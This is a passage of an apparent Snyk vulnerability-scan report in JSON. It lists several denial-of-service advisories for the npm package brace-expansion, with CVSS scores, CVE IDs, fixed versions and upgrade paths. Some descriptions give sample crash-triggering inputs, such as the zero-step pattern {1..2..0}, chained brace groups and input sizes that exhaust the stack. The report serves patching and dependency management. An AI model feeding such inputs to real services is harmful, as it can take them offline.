"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
